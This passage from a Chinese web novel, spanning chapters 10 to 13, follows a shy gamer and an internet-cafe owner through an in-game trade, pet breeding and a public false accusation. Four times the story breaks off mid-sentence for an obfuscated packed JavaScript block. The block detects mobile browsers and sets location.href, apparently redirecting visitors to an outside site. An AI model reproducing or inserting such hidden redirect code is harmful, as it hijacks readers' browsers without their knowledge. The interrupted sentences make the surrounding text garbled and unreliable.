时和吓了一跳。 濯清站在电脑前,弯腰看了眼屏幕,看见满屏的称呼乐了:“顾泽宸这侄子挺成啊,抢人抢到我这来了。”她逗弄时和,“妈妈吃醋了。” 知道濯清在开玩笑,时和还是配合说:“妈,我只爱你。”书房飘满濯清愉悦的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546516|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 尹川的消息夹在笑声中蹦出来。 尹川:宝贝儿,我已经准备好了!走哪个平台?海鲜市场还是游易宝? 看见称呼,时和下意识又望向濯清。 濯清收着笑摆手:“好了好了,逗你呢。沈停爱叫就让他叫吧,妈妈还能真吃醋不成?你好好玩,妈妈拿个文件就走。” 等濯清离开,时和打开网站搜着这两个平台。 所谓海鲜市场是一款第三方交易平台,有游戏还有闲置二手,手续费低,但风险高。游易宝则是官方平台,安全性高,可手续费要抽取10%,里面大多是账号买卖。 这么高的手续费?这跟“此山是我开,此路是我栽”有什么区别,不都是保护费吗? 他记得幻世录有游戏内交易系统。既然这样为什么要走平台?降低成本提高利润不是更好吗…… 时和想着,回道:可以游戏直接交易。 然后,他知道了走平台的原因。 尹川:宝贝儿,幻世录交易系统有限额,每周不能超过三千,两万的金额得走平台才行。 …… 时和盯着“两万”迟迟没有敲字,表情不难看出惊吓。他在心里计算着两万的物品价值:妈妈给的游戏基金是一万,他把商城搬空才花了九千。整整50套衣服,还有三个坐骑和一堆小配饰。 这款游戏的性价比虽然不算高,可也不至于通货膨胀,怎么突然一个鳞片就要上万了? 时和又点开背包仔仔细细看起了鳞片的说明,他看到一句:仅限本赛季使用。 对啊,这不是赛季制游戏吗? 赛季制意味着装备每个赛季都会更新迭代,包括圣兵的升级材料。这个赛季是鳞片,下个赛季就会是别的东西。 照游戏规则,圣兵等于吞金兽,需要源源不断供给。哪怕你这个赛季没有拿到鳞片升级,只要你拿到下赛季的材料,依旧可以升级。 两万已经远超了鳞片自身商品价值。 简称:它不配。 关掉背包,时和点开消息框。 尹川:宝贝儿不用担心!走平台有担保的,都是先给钱再发货,绝对安全! 时和是很担心,担心“沈停”成为冤大头,毕竟是顾叔叔侄子。果然社交很麻烦。他一边不满一边认真地敲字:走游戏交易,三千。 对面的秒回选手好像掉线了。 一分钟过去—— 尹川:爸爸,您是要三千卖给我蛟龙鳞片吗? “咳——咳咳——” 莫名被升了个辈分,从“宝贝儿”到了“爸爸”,时和呛了一口气,拿起杯子猛灌两杯水,这才恢复呼吸节奏。他摩挲着杯子边缘,在“爸爸”这个称谓上看了很久,久到尹川发出一长串消息。 尹川:宝贝儿!从今以后你就是我尹川的再生父母了!有我一口饭绝对少不了你一块肉!无论是打本打PK还是打架,你指哪我打哪!有其他需要也尽管说!我包上刀山下火海的! 尹川:是现在交易吗! 尹川:宝贝儿!给个坐标我去找你! 称谓被刷上去,杯沿上的指尖没收力往下压,压得杯子往旁边滑了一段。时和的心情跟着哐当一声响莫名低落下来,怏怏找了个没人的角落,把坐标发了出去。 九绡宫殿九曲八弯。他等了两分钟,在一条空无人烟的线,一个空无人烟的长廊转角,等来了一个白衣翩翩的御风摇着折扇逆光而来。 【玩家川云邀请您加入队伍,是否接受】 11. Chapter·托管 时和进了队,不知怎的又同意了好友添加,不知怎的好友列表里就多了一个白发头像,不知怎的莫名完成了交易。只因为川云开麦说了句:“不好意思,尹川这周额度用完了,我帮忙交易。” 他只听过“美色误人”,第一次发现“靡靡之音”也能惑人心智。 这场交易前后不过两分钟,圣兵升级,全服播报。世界频道如铁球烫过的水面,顿时沸腾,都在猜测为什么鳞片会落到尹川“贼人”之手。 交易结束,川云却没离开。 九绡宫千叠浪阶、穹顶海幕,璇玑七殿以沉船龙骨为梁、砗磲为瓦,是玩家票选的“5A级风景胜地”之一,平日挂机的人不比长安皇宫少。可现在,偌大的廊道上只有自己和川云。 御风待机动作会挥舞折扇。 明明只是游戏,时和却感觉空旷寂寥的宫殿充斥着风声和呼吸的回音。他放大人物建模,扇子每次挥出都从角色耳边擦过。看着看着,折扇的劲风好像要穿透屏幕一样,看得耳垂开始微微发痒。 幻世录建模其实可以粗糙一点儿的。 后悔了,早知道去人多的线了…… ** 九绡宫殿寂静无声,网吧前台却沸反盈天。声音来自宴云川的电脑。电脑右下角的帮派YY一句我一句,喊着“666”、“又给川老板装上了”、“我来吸吸财力”等等调侃,跟菜市场如出一辙。 群里有人放了截图,林朔野站在帮派驻地中央,手拿星轨罗盘,展示着圣兵新特效。 星轨罗盘是星引的武器。加入鳞片的罗盘拥有了海洋特效,释放水系技能罗盘中央就会有蛟龙越海之景。技能击打水面,溅起水花千丈。 宴云川看了眼,调低喇叭音量,又切回游戏拍卖行界面。三千的鳞片啊……虽说金主看上去不缺钱,但总归不能白占人便宜。他在拍卖行挑挑拣拣,挑出一套属性直接毕业的幽篁副本装。 关闭拍卖行,宴云川正准备找己见,却发现人就在身边,“己见”两个字毫无防备落入眼帘。他的后背下意识弓紧,又放松下来。 自从上周在邮箱里看见这个昵称,他每晚都能梦见这个名字。在梦里,“己”和“已”时而重叠,时而模糊不清。但无论是“已”还是“己”,梦里从头到尾出现的人都是凌岳,血肉模糊的凌岳。 宴云川又想到林朔野说的以毒攻毒。在他看来,服毒永远不能攻毒,只能死亡或者耐药。 可“己见”不是毒,也不是药。 看了一天,念了一天,那个梦里模糊不清的名字反而清晰了。“己”永远是“己”,不会是“已”。凌岳从来没说过对不起,也没说过谢谢你。 一面折扇从余光划过。 思绪被折扇拉回,宴云川直接点了交易申请。 申请过了读秒没被接受。 大概离开挂机了吧。宴云川想着,准备离开九绡宫。地图读条时,他看见己见头顶冒出三个点,三个点跳了好半晌,跳出一个问号。 他取消读条,问道:在? 己见:在。 确认没有挂机,宴云川索性发起了组队申请。 这次的申请秒被接受。 有了上次林朔野送礼被拒的经验,宴云川判断己见应该不会接受礼物,想了想,开麦道:“我这里有一套幽篁的副本毕业装用不上,想交易给你,作为感谢。” 三个点又冒了出来。 己见:不用谢。 宴云川看着简短的三个字失笑,脑子里凌岳的形象慢慢被一个正襟危坐的小学生形象代替。 他愣了一下,索性就着形象转换策略:“我思想品德的老师教我得到帮助要感谢,你不收我晚上会睡不好觉。”怕己见有顾虑,又说,“放心,这套装备是打副本打出来的,免费。” 这次的三个点跳得比以往都久。宴云川耐心等着,顺手拿过桌边火机转圈。转了约莫七八圈,三个点停下。 己见:谢谢。 宴云川不做阅读理解,默认谢谢就是接受的意思,放下火机又发起交易。见交易被接受,他心说:“思想品德老师还真有用。”说完又隐隐皱眉。 该不会真是小学生? ** 林朔野去PK台秀了波武器,心满意足下机,刚走到前台就听见宴云川问他己见会不会是小学生,想也没想说:“己见怎么可能是小学生!幻世录未满十八不能注册,哥你忘啦?” “那你十二岁怎么纵横峡谷的。” “用姥爷身份证啊!” “嗯。” 林朔野拆着百奇的手停下来。 “哥!好端端怎么开始翻我黑历史了!”他魔爪又伸向可乐,心虚嚷嚷道:“那就算未满十八能曲线救国注册游戏,总不能一个星期搬空商城吧!” 宴云川又“嗯”一声:“看来是忘了你刚玩第一天连买全英雄皮肤最后被姑父追着打的英勇事迹了。” 字字珠玑。 刚说第一个黑历史林朔野还会心虚,说到第二个他就开始百毒不侵了,左手百奇右手可乐咬得嘎嘣脆,眼神坦荡荡,甚至还有些志得意满。 也不知道是不是咀嚼真能促进思考,半包百奇下肚时,林朔野福至心灵:“哥,想知道己见是不是小学生很简单啊。” “馊主意麻烦烂在肚子里。” “那不行,我吃撑了。” 只听呲拉一声,打火机窜出半指高的火苗。 林朔野临危不惧,采用“恃宠而骄”策略,挪着空椅子往宴云川旁边一坐,把椅子当摇摇乐摇着说:“在己见宝贝儿年龄没确认前,他怎么说也是我的再生父母!我已经答应了要上刀山下火海的,不能违背承诺。嘿嘿……哥,我接下来半个月要闭关准备结课考……” 话落,服务台响起喇叭: 游戏区A16号呼叫网管。 林朔野的话宴云川也听明白了,这是以考试为理由想让他帮忙照顾“再生父母”。他保存好设备核对的文档起身往游戏区走,走到货物架又拿了盒百奇往身后一丢:“你还是撑死吧。” ** 可惜林朔野最终也没能撑死。 星络网吧虽然面积不大,但胜在地理位置优越。网吧方圆三里涵盖学校商场居民楼,平日上座率能有百分之七八十,遇上五一这样的节假日也能担个高朋满座。 但近两个月恰逢高考备战。 距离林朔野结课考闭关已经过去四天,高考也在十五天倒计时下拉开序幕。十五天,正是临阵磨枪和考前巩固的时候,家长急,学生也急。 网吧门口经常有学生络绎不绝走过,每走过两批总能见着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546517|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟面孔。这些熟面孔平日逃课耍滑溜出来上网,这会倒是端着三好学生的模样,一个两个路过网吧眼神正直,就差念叨一句“色即是空”。 三好学生多了,网吧就闲了下来。 按理说网吧闲下来是一个休养生息的好时候,可这几天,俞秋发现宴云川精神非但没好,眼里的疲惫比五一那会更严重。 见宴云川五分钟揉了六次眉心,她关切问:“老板,你身体没事吧?” “嗯?” 俞秋指了指眼睛:“红血丝……” 红得浸血。 宴云川知道自己现在是个什么鬼样,但是这鬼样吓吓自己就算了,吓到俞秋还是得解决一下。他从抽屉里掰出最后一片布洛芬,随手开了瓶矿泉水就下去,又揉着太阳穴说:“没睡好,头疼。” “回家睡会儿?” “没事。” “老板,最近客流不多,我可以守店的。” “有你在我不担心店……”宴云川见俞秋满脸“相信我,我一个人真的可以”,就差没有歃血立誓,那句“回去我也睡不着”怎么说都像搪塞。他想了想,起身说道:“回去太麻烦,我去找个空包躺会。” 俞秋满意地挥手再见。 走进包厢,宴云川拉上帘子惯性开了电脑。电脑蓝光一瞬而过,刺得眼睛眯了一下。想着开都开了,他索性登了游戏,随便跃上一棵树挂机。 头又开始痛了,宴云川放平椅子靠下去。刚躺下,铃声响起。看着备注,他疲惫地起身,接起电话说道:“喂,伯母。钱我昨天已经打过去了。嗯,五万。我知道,只是这两个月营业额不高——” “不高是什么意思!”电话对面声音高昂,“网吧在我儿子手上每个月那可是相当赚钱的!怎么到你手上两年就不高了?你是不是不想给我们钱故意赔的?”声音越说越激动,“哎哟我的心哟,我们阿岳怎么就认识了你这个忘恩负义的扫把星啊……” 头要炸了。 宴云川开了扩音,又调低声音,把手机放在桌子上往后躺。等里面的人怨天怨地怨自己结束,他才重新拎起手机说:“伯母,我过两天再打三万。” “今天!” “……” “行。” 电话挂断,宴云川彻底没了休息的心思。布洛芬药效还没上来,也不想出门。他随手掏出口袋里的打火机转得飞快,转得屏幕明明暗暗,眼睛落在墙上的警告牌上,警告自己。 本网吧为禁烟网吧。 时间不到九点,引驾行的帮派群已经开始活跃。几个“24H常驻选手”在聊着昨晚CPDD的趣事,单身在群里摇人打周常,有两个幽篁抢着报名。 算了,打打周常吧。 正准备响应,东南方倏地传来打斗声。宴云川调整视角,看到不远处山洞里的技能幽光阵阵。他用钩索跳到就近树上,放大来看,看见一只红色毕方振翅欲飞,箜篌悬于半空,弦声与风声交错。 是己见。 宴云川有些诧异。 自从林朔野把这位“再生父母”托付给他,他这几天都有留意好友列表,想着等人上线了问问要不要一块打个本。可等了四天,这是他四天来第一次碰见己见上线。 还以为这位“小学生”A游了,原来没有。 ** 12. Chapter·毕方 【恭喜玩家己见击败毕方,获得毕方妖丹。】 时和摁着指节放松,根据攻略说的,切换出“改命”技能。毕方是幻世录的地图BOSS之一,击败毕方可以掉落妖丹,打开妖丹能随机获得一种颜色的妖灵,就是宠物。 这游戏很多玩法都像开盲盒,赌命赌运。而“改命”技能是一个趣味玩法,据说摇到上上签能提升气运值,更有几率开出“隐藏款”。 “隐藏款”的毕方的妖灵通体由赤晶琉璃般的翎羽构成,双翼展开犹如晚霞撕裂苍穹,翅间抖落的星火会化成赤金莲花,灵韵天成,是妖灵颜值里数一数二的一个,有价无市。时和就是为它而来。 靠近妖丹,时和深呼吸,在心里数到66,默念一句“六六大顺”,点击—— 下下签。 不信邪,他铆劲又点了几次,全是下下签。时和泄气又憋闷地瘫坐在椅子上。大概率掉落鳞片用光了自己所有运气,甚至还欠了债。今天打了六只毕方,六只下下签。 他呼了呼气。 天气越来越热了,九点的阳光已经热烈。桌上摆着两只手工匹诺曹,随着濯清回来的特产,是一个合作方的小孩送给她的。匹诺曹很可爱,头顶盘着两根漩儿,用手拨动,透着阳光一摇一摆。 时和撑手拨着匹诺曹望向窗外。从书房的位置可以眺望到远山,深绿辉映湛蓝,山坳之间,隐约看见动车一呼而过。也不知道濯清到哪了。 濯清是昨晚离开的,在一天八九个会议和几十个电话的催促下,还是提前结束了假期返回佛罗伦萨,带着鬓角的疲惫和满眼的担忧。临走前濯清录下了他保证不犯病的承诺,才暂时放弃了把他打包带走的想法。 想到那句承诺,匹诺曹的漩儿越拨越快,脸上的笑好像随着“头发”拨动咧得更开了一些,颇有嘲讽他做不到的意味。时和把匹诺曹转过去,又忍不住想:如果自己是匹诺曹就好了,不用治病,不用社交,整天傻笑。 奇怪的想法冒出来,挥之不去,愈演愈烈,直到被喇叭里传来技能声音打断。锃——漩儿余音震荡。他疑惑望向屏幕,是“改命”的技能声音,签筒摇晃,叮咚跳签。 跳了几秒,时和瞪大了眼。 上上签! 谁放的? 他猛地放开匹诺曹,什么傻笑什么想法统统抛之脑后,握着鼠标左右拉动地图。桃源渡地图绿草茵茵,放眼望去桃花十里连绵不断。除去不远处湖面上悬空的桃花坐骑,可视范围看不见人影。 不可能是坐骑上的人,已经超出技能范围了。 那是谁? 时和纳闷之际,消息通知突然闪了起来。他点开,看见熟悉的头像,怔住了。 川云:上上签只能维持3分钟。 竟然是川云…… 消息是用文字发的,时和脑海里却自动响起了语音。他晃动鼠标找了一会,在右边第二棵树上发现了一抹素白的身影从树干后面走出来,站在桃花绿叶之间。两个角色透过桃花遥遥相望。 湖风阵阵,吹动川云马尾上的发绳。 川云在这儿呆多久了?为什么要给自己放“改命”?还有上次的“生命链接”…… 想到“生命链接”,时和脑海里的声音转化成一些少儿不太宜的画面。他抓过杯子猛喝了一口水,敲出“谢谢”发过去。 川云:试试运气。 川云:还不错。 一个声音好听的怪人。时和评价着,杯子里的水越喝越急,很快见了底。他抿掉嘴边水珠,一眼瞥见左上角的BUFF倒计时,还剩最后50秒,赶紧放下水杯走到妖丹旁边,按下“F”开启。 随着进度条倒退,妖丹开始皲裂,白光穿透裂痕铺满整个屏幕。等待屏幕白光慢慢淡去,时和隐约看见一抹赤金落在屏幕中央。他惊喜地坐直身子,就看见系统弹出消息。 系统:“恭喜玩家己见击败桃源渡世界BOSS,开启毕方妖丹,获得妖灵[毕方·霓烬]。” 不是那只稀有的,时和瞬间失落往后靠。果然论坛说得对,0.1%的掉落概率加十个上上签也不过是1%,非酋改不了命…… 看着川云发的“试试运气”,时和总觉得自己浪费了川云一个上上签,愧疚上心,又想道歉。“对”字刚打出来,川云先发了消息。 川云:想要那只稀有毕方? 他怎么知道? 时和的手错愕地悬在键盘上,浑噩在“对”字后面敲出一个“嗯”。奇怪的词语在聊天框里迟迟未发出,突然界面弹出繁育邀请:玩家川云邀请您进行妖灵繁育,请问是否接受? 川云:我有稀有毕方,跟我繁育的毕方宝宝有10%的概率继承血统,比刷BOSS概率大很多,可以试试。 跟他繁育?! 宝宝?! 作为一个在净网环境生活二十年又被大学舍友用半部小黄片染色的半纯情少年,时和盯着这两个词,“生命链接”的技能画面莫名其妙和舍友看的奇奇怪怪小电影串在了一块。 他整个人红得比毕方羽毛还要红,好似下一秒就要烧熟一般,手指在键盘上变得慌乱无章,框框一顿好敲。 ** 繁育框跳出“正在繁育中”。宴云川看着聊天框里那两句“对嗯啊我”、“谢谢”,眼神在第一个词语上落了一会,又带着“果然如此”的表情往上一挑。他发现这位“小学生”只要不涉及金钱交易的事,都不会拒绝。 关掉繁育界面,宴云川点开商城买了一百颗特级培育丹。繁育倒计时16个小时,两只毕方在树上相缠,赤金莲花落在空中成为焰火。 他看着满屏特效,又点开单身私聊框:你那是不是有几只高阶毕方?卖我,价格随意。 单身真自由啊:哟,川老板,要这个做什么? 宴云川:融了,繁育稀有毕方。 单身真自由啊:啊?你不是有稀有毕方了吗? 宴云川:给再生父母。 单身真自由啊:再生父母?谁? 单身真自由啊:不是,你是川老板吗?我怎么感觉不像呢!川儿,你少登录你哥账号匡我宝宝!收我高阶宝宝一千一只!少了不卖! 单身连发四五条信息,已然把他当成了林朔野来坑。宴云川被长篇大论蹦得眼睛疼,用力闭了闭眼睛放松,揉着眉心直接按着语音发过去:“一千一只,主城交易。” 单身真自由啊:…… WTF? 这场PY交易惊动了引驾行帮派众人。在单身添油加醋的传达下,所有人都知道自家地拱了人家的白菜、呸,自家大佬用稀有妖灵给萌新繁育宝宝。 “请A165号客户到3号窗口办理业务。” “请A165号客户到3号窗口办理业务。” 宴云川坐在银行大堂刷着群消息等叫号。群里已经开设赌局,赌己见能不能繁育出稀有毕方。 兮以城空:我觉得悬,只有10%的概率。啧,川老板投了这么多成本,失败了岂不是很亏? 清絮:川老板还怕亏? 清絮:况且概率不是10%,是50%。 清絮:我赌能成。 能成的消息下面跟了一溜加一。 兮以城空:哪来的50%? 单身真自由啊:空儿啊,攻略看得不够多啊。稀有妖灵繁育基础概率是10%没错,可川老板那丹药跟不要钱似的往里面砸,还融了我四只高属性妖灵,这些东西加下去可以把概率直接加到50%!50%!知道这在幻世录是什么概念吗!要么成功要么超级成功! 兮以城空:真的假的? 清絮:我相信幻世录不会让氪佬失望。 宴云川不可置否。 群里的消息因为单身几句话走向开始奇怪,由讨论繁育概率变成了讨论宴云川此举意义何为。有人耐不住好奇直接@宴云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546518|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川问:川老板,你这是准备出山收徒了? 宴云川回了句:我不收徒弟。 毕方只是为了帮林朔野还鳞片的人情。 消息发出去,前台响起A166的叫号,宴云川收起手机,起身走过去,任由群里腥风血雨。 ** 这阵腥风血雨在隔日被另一阵更大的腥风血雨覆盖,起因是时和看见世界喇叭很多人在骂自己。他等了一中午,掐着计划表的点登陆游戏想看繁育结果,就看见喇叭滚动一条—— 木偶烤雪:故意抢BOSS的狗托!心虚呢还关私聊!是策划不让你开私聊吗!都是狗托了还繁育什么呢!让策划直接给你全部数据自己装逼好了!别跟玩家抢资源恶心人! 起初时和没在意。领取妖灵宝宝要到长安主城NPC那,他飞过去的时候,坐标瞬间被发到了世界频道:长安城752,23,狗托在这里! 消息发出不到半分钟,身边就围满了人。 时和惶惑站在原地,看着大家对着他放各种技能,看着自己一下变成雪人,一下变成黑炭,一下又膨胀飘在空中。耳边技能如狂风呼啸,他下意识切了线,一连贯操作让自己飞到了皇城顶。 怎么回事…… 心跳得好快! 深呼吸。 深呼吸…… 时和一边默念,一边捏着鼠标,又按着键盘,发现呼吸没用,着急地在城墙边缘乱转,余光看见桌边玻璃杯的倒影。 喝水,对,医生说过喝水可以缓解焦虑。 他拿起水杯往嘴里送,压在玻璃杯上的手指泛红又变白,又压抑地做着深呼吸,直到后背渗出薄薄一层汗。想下线,又怕濯清发现端倪,只好端着杯子坐在椅子上。指尖微微颤抖,又不敢放下,怕自己不捏玻璃杯会崩溃,怕自己犯病。 犯病就要出国。 绝对不能犯病。 时和不断洗脑自己“不听、不看、不在意”,又不由自主望向屏幕上方。 屏幕上方的喇叭依旧不停,如同电视节目下的滚动条,内容不带重复又大同小异——像什么“狗托”、“不要脸”、“滚出服务器”。喇叭消息越骂越难听,还有人重金悬赏他的位置。 隔着网络的谩骂好像没有下限,随时随地可以用各种谐音让人死全家。明明只是文字,甚至喇叭都发不出声音,可时和总感觉这些文字跟现实中的眼神、嘲讽、疏离开始无限重叠。 杯壁上的指腹瞬间没了指纹。 时和呼吸停滞,记忆也开始混乱。 好奇怪啊,他记得自己很受欢迎的,有很多朋友,下课大家都喜欢围在他桌边,还有人给他送巧克力,为什么突然被排斥了? 为什么呢…… 就在他情绪临近崩溃的时候,倏尔,在一众蓝色喇叭中,一条金灿灿的信息横空出现—— 昀炽:己见,我是【002号茗铺】铺主。如果你看见我的信息,能不能进我的茗铺?有玩家委托我调查本次“内部员工抢资源”事件,个中细节及经过需要与你核对一下。 “茗铺”原本是幻世录用来给玩家谈天说地的一个茶楼,可后来慢慢演变成了“对簿公堂”。上到小三上位、骗钱骗身、多人纠葛,下到副本灭队、银镖被劫、野外打架,都得到茗铺说个对错。铺主成了判官,负责主持公道。 时和是第一次听说“茗铺”这个地方。 金色喇叭是公告喇叭,可以保留半小时。他看着喇叭里的房间链接久久没有行动,依旧保持着拿着玻璃杯的姿势。直到金色喇叭下方又多了一条蓝色喇叭—— 昀炽:己见,如果你是托就正常道歉退游,如果你不是,可以进来茗铺给大家一个真相。 真相…… 时和眼里的混沌在这两个字上逐渐清晰。对,要让大家知道真相。他不喜欢被冤枉,谁也不行。就像濯清说他沉迷游戏,他就四天不玩一样。 ** 13. Chapter·证人 茗铺是一座五层楼阁,时和被传送到一楼,在NPC指引下走进雅间,人满为患。原来高峰时间的幻世录有这么多人……椅子上、桌子上、甚至房梁间,能飞檐走壁的地方头上都冒着对话框。 各种对话框叠在一块,反而看不清字了。时和挤在人群最边缘,不是谁发了句“己见来了”,又不知被哪个眼尖的看见,一时七嘴八舌的对话框都变成“来了”、“在哪”的寻找。 他前面的道路被让出来,像极了电视剧。 ** 定的卡槽到了,宴云川正在拆旧换新,耳朵塞着耳机。耳机太降噪,显得说话人声过于喧嚣,他又把耳机摘了下来放成扩音。 “哥,我在学校消息灵着呢!”林朔野声音夹着风声呼呼吹来,“哼哼,不是说让我撑死吗,不是说不带小萌新吗,不是说嫌麻烦吗!哟喂,繁育不麻烦啦,找单身买宝宝不麻烦——” “林朔野,我这是因为谁?” “反正不是我!” “嗯?” “吧……” 喇叭的声音从心虚到消失,风声跟着停下来,隐约听见另一个人问:“喝哪个?” “拿铁!正常冰正常糖!” “老沈他们呢?” “跟我一样!” 宴云川听见对面点餐台和人来人往的声音,应该在咖啡店。他放下螺丝转了转脖子,拿起手机对林朔野说:“闭关少八卦。要是挂科了我准把你交到舅妈那儿,让你的暑假生活多姿多彩。” “嘿嘿,哥,你才不会!” “你可以试试。” “一直试着呢!” 听这稳坐钓鱼台语气,宴云川一阵头疼,在想林朔野这副没皮没脸的模样究竟是出厂自带的还是后期长残的。正思考到一半,林朔野嚷道:“好!就来……哥,我去帮忙拿咖啡,先挂了!等我下周考完试就去网吧,到时候再慢慢细说!” 宴云川放弃思考:“滚你的蛋。” 挂掉语音,网吧人气瞬间少了一半。游戏区稀拉坐着打峡谷、挂地图的,角落沙发椅横七竖八蜷着午睡的人。俞秋今天放假,网吧只有宴云川。 被林朔野激活的耳朵变得受不了静,宴云川停下动作,准备登个YY和游戏挂着。刚解锁手机,微信收到好几个帮里人的私聊。 清絮:忙完了吗? 柚子:大佬,出事了! 单身:川老板,那个小萌新跟你繁育宝宝被挂了。咱可是帮澄清了啊,奈何一嘴难敌万口根本插不上话,您要不自个儿去看看怎么处理? 小萌新被挂?己见吗? 宴云川蹙眉登着游戏,向单身发起语音通话。 单身秒接,接起一顿好乐,压根没有“出事了”的紧张感:“川老板,你这小萌新哪儿认识的?有点吵架天赋啊!可以帮我撩进帮里不?” “吵架天赋?” “啧忘了你不在现场了。” “刚到。” 宴云川很少进茗铺,屈指可数,对茗铺的印象还停留在一年前,帮派有个成员被骗钱,单身委托他处理。那时候的茗铺只有寥寥十几人,而现在,满堂人头密密麻麻,好像下一秒就要把房梁撑爆。 单身还在继续:“挂他进茗铺的是剑舞红尘帮派的一对CP,两个人说己见在桃源渡抢他们BOSS,肯定是提前知道那只BOSS可以繁育稀有毕方……” 欲加之罪。 宴云川点开己见角色卡的成就栏,稀有妖灵数量变成了1。他指尖敲着桌面,点进详情,喇叭传来毕方尖锐的叫声,夹杂在单身的“事件还原”中。 “你这位再生父母刚开始一个劲保持沉默,大家骂得那叫一个狠啊,我正帮他说着话呢,他突然就蹦出一句……什么……我找找。” “找到了!” 单身跟念课文似的逐字念着:“‘幻世录的世界BOSS以最高伤害判定归属,你们两个无论是单人还是双打,伤害都不会比我低。而且击败毕方会掉落羽毛,每达到10%的伤害掉落一只。我打了六只,背包里总共60根,你们拿不出羽毛,在撒谎‘。” 念完他笑得直拍腿:“你是不知道那两人看见己见的消息愣了多久。我怀疑啊他们一开始想着己见是萌新,好欺负,想用‘己见是托’这件事激起群愤捞好处,结果没想到己见攻略做得这么足!” 宴云川也没想到。 他看着帮派群里单身发的“吵架截图”,又看向己见角色卡。角色卡的装备属性都还停留在上周没变化,休闲成就倒是又加了几个,怎么看也不像认真做攻略玩的,更像随用随做、现学现卖。 随用随做,随做随用,这也是本事。 宴云川眉眼松下来,关掉角色卡,点开茗铺铺主信息私聊过去:炽姐,麻烦给我上个麦。 昀炽:川老板? 昀炽:引驾行什么时候跟剑舞红尘好上了?我可说好,剑舞红尘这一对明显不占理,我茗铺不能有关系户。川老板,你还是别插手了。 宴云川:不是剑舞红尘。 宴云川:我做己见的证人。 等了半晌,昀炽敲出一个“稀罕”。 茗铺麦响起一道发嗲的女声,是剑舞红尘的那对CP:“就算你没抢我们BOSS好了,那你怎么证明自己不是托?稀有毕方现在整个服务器加起来不过百只,繁育概率不过10%!怎么就那么巧,你打的那只一次就繁育出来了?” CP另一个男声帮腔道:“跟你繁育的人肯定也是托!暗改你的繁育概率直接改到100%!” “有没有这个人都不知道呢!一个萌新,上哪认识有稀有毕方的大佬,不会以为自己卖了尹川一个鳞片就攀上关系了吧?” “宝宝说得对!” 两人你一言我一语,很快转移了吃瓜群众的注意力。对于玩家来说,玩家抢玩家的BOSS属于内部矛盾,看个乐子就过去了,可是“狗托”会动所有人的蛋糕,绝对零容忍。 一句句“狗托滚粗”、“另一个肯定也是狗托”、“爆出来避雷”铺满茗铺,在逼着己见说出繁育者的ID。宴云川在公屏打了一句“是我”,很快被文字浪潮淹没。茗铺看不见喇叭,看来还是得上麦。 他又点开昀炽私聊。 昀炽:稍等,今天人太多了,我有点卡。 宴云川:麻烦了。 刚发出字,喇叭里传出一句惶恐而又着急的声音:“他不是托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546519|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”像荒废的井底突然涌出水,带着清涩和暗哑。宴云川鼠标往上一滑,整个茗铺跟着他动作安静下来。 是己见? 他想再确认一次,己见旁边的话筒暗下去。 没了文字,茗铺莫名显得空旷,一句“卧槽,弟弟你好香”落在中央茶桌旁,惊起人潮沸腾。文字又开始密密麻麻出现,舆论跟着声音倒戈,满屏“这能是托啊”、“肯定是玩家”、“CPDD徒弟DDDD”。 昀炽:不卡了。 昀炽:川老板,我给你排五号麦了,你看看。 而后,因为宴云川一句“桃源渡那天我在,跟己见繁育宝宝的是我。宝宝还没被领取,开了直播间的可以发房间号,我连屏幕共享”,茗铺卡崩了。 ** 卡崩前的证词时和没有听见。手腕上的手表还在响铃不停,提示他游戏时间到,可以正大光明逃避,他立马按了关机。屏幕黑下来,映着一张懊恼又惊魂未定的脸。 太冲动了。可是川云不能因为他被骂…… 时和喘着气摊靠在椅子上,汗渍很快沁透整个后背,衣服粘着皮肤,极为难受,明明呼吸急促,心脏却跳得很慢,好像快停止一样。他下意识要伸手拿抽屉里的应急药,书架上的摄像头转了半圈。机械转动的声音激活了他所剩不多的理智。 不能吃药。 强打精神起身,时和跟傀儡牵绳似的走回房,按照计划表的内容看书、吃饭、洗澡。直到晚上八点,接到濯清视频电话。 濯清似乎心情不错。 